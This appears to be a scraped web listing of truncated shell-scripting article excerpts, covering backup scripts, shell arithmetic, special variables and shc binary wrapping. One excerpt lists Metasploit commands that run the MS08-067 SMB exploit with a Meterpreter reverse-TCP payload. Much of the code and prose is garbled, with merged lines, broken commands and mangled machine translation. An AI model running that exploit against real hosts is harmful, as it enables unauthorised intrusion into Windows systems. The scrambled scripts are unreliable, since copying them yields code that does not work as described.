Java calls the shell command and gets execution results

Using the process and runtime two classes, the return value is obtained by the getInputStream () method of the Process class[Plain] View plain copy package ark;      import java.io.bufferedreader;   Import  java.io.IOException;  

The shell uses sort and uniq to implement the set of two files, the intersection and the difference set

It's easier to turn on the internet than to use awk. Given two files a.txt and b.txt, each row is a record (assuming there are no duplicates), the intersection of two sets is required, the set of sets, the difference set, and the output results

Shell Script Execution Dailybuild

#!/bin/bash destmailslist= ("xxx@xxx.com"); Build_dir=g3_asic_yocto Log_file= "G3_asic_dailybuild.txt" Tail_file= "./tail.txt" #CurTime =$ (date "+%y%m%d") daytimetag=$ (date "+%y%m%d") montimetag=$ (date "+%y%m") yesttag=$ (date-d ' 3 days ago ' +

Metasploit to upgrade the command line shell to Meterpreter

MSF > Use Exploit/windows/smb/ms08_067_netapi MSF Exploit (MS08_067_NETAPI) > Set PAYLOAD windows/meterpreter/ Reverse_tcp PAYLOAD = windows/meterpreter/reverse_tcp MSF exploit (MS08_067_NETAPI) > Set target + target + 41 MSF exploit

Shell script automatically backs up the database

#!/bin/bashdb_user= "root" db_passwd= "dddddd" db_name= "Mmmmmm" Cd/db_backupecho "You is in Bakmysql directory Now" Backup_dir= "/db_backup" #时间格式time =$ (date+ "%y+%m+%d") #mysql备份命令mysqldump-u$db_user-p$db_passwd $db _name > "$ backup_dir/$db

Arithmetic operations in the shell

There are many kinds of arithmetic operations in the shell, such as a=1,b=2, so how to calculate the value of A+b? Can not simply $a+ $B, if this operation, the result is 1+2, obviously not the result we want, the result is 3, we have a few methods:

Numerical operations of Shell programming

Declare-r variable name = variable 1+ variable 2[Email protected] test]# aa=11[Email protected] test]# bb=22[Email protected] test]# declare-i cc= $aa + $bb[Email protected] test]# echo $CC33[[email protected] test]# dd=$ (expr $aa + $bb) Note:

Shell Scripting for backup, publish, rollback by directory

Share a recently written shell script that enables you to back up the production line files and rollback operations by the file directory structure of the published package.1#!/bin/SH2Path="/home/www/site1"3pub= $path"/release/pub/mboxii/trunk"#发布目录4

Common commands in the shell

Shell Special Symbol Cut command* * indicates wildcard characters?? represents an arbitrary character# #号注释字符, the annotated content will not take effectThe \ \ symbol denotes the caret character, leaving the special symbol out of the original

Shell writing character Menu Management-8

8th Shell Programming Character Menu ManagementI. Shell function definitionFunction menu () {Echo ' This is a func!! ';}Two. Shell functions useMenuThree. How to use the Cat command HeredocCat

Shell Programming (2)

1. (1) Change the main prompt to the user's home directory name (hint: reference material 4.6.8 section environment variable PS1 and HOME usage)(2) Assign the string DOS file c:>\ $student \* to the variable x and display it (hint: note the choice

centos-shell-Special Characters

Shell wildcard characters# notice is completely different from regular, similar to regular  * any of at least one character ? Any one character  [ ] [] any one of the characters, the relevant character set a-Z 0-9Shell redirection# re-designation of

Shell script $ $n, $*,$#,$$,$!,$?,$-,$@

The execution name of this program $n the nth parameter value of the program, n=1..9$* all parameters of the program, which can be more than 9 parameters.     $# the number of parameters for this program $$ the PID of the program (the current number

24th Lesson Shell's special symbols and Cut_sort_wc_uniq_tee_tr_split commands

First, special symbols' * ' wildcard character, any of any characters'? ' any one character' # ' comment characters' \ ' de-semantic characters' | ' pipingThe prefix of the ' $ ' variable'!$ ' combination, regular inside means end'; ' multiple

Daily shell scripting Exercises (01)

0. IntroductionPrepare to open a new pit and update a shell practice every day. Because shell scripts belong to the kind of skills that are unfamiliar or even forgotten when you're not practicing, I can only keep on practicing in order to resist the

Linux Command Application large dictionary-11th Chapter shell programming

11.1 Declare: Show or set shell variables 11.2 Export: Display or set environment variables 11.3 Set: Display and set shell variables 11.4 unset: Deleting a variable or function 11.5 env: Viewing and setting environment variables

Special variables for Linux shell programming

$ A This is the path to the script file itself (relative path)If there is an execution script file under the current directory, you cannot write an absolute path for execution.$# this variable to record the number of input parameters6 is the number

A method of translating shell scripts into binary execution files

Because of the need for plaintext to display passwords in the script, the idea is to encapsulate the already edited shell script into a binary executable file.Using the tool SHCOfficial Download site: http://www.datsi.fi.upm.es/~frosal/Use the

Have finished the shell, write a little script to show you

In Linux has been learning for one months, today to write a small script, wrote three different, although simple, but you can see, I wrote the script is ping3 times to see if the host is alive!The first one is ~ ~ for~~ loop because I knocked it

Shell Script Instance

#!/bin/Bashsrc_path=/mnt/source/xx/xx# Merge All specfile forQuick Searchmergedspec="./allspec-"$(Date+%y%m%d). txtfunctionmerge_all_specs () {Allspec=$(Find$SRC _path-name *. Spec) forSpecfileinch$allSpec DoSpecname=$(basename$specFile) Specprefix=

Total Pages: 541 1 .... 490 491 492 493 494 .... 541 Go to: GO

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.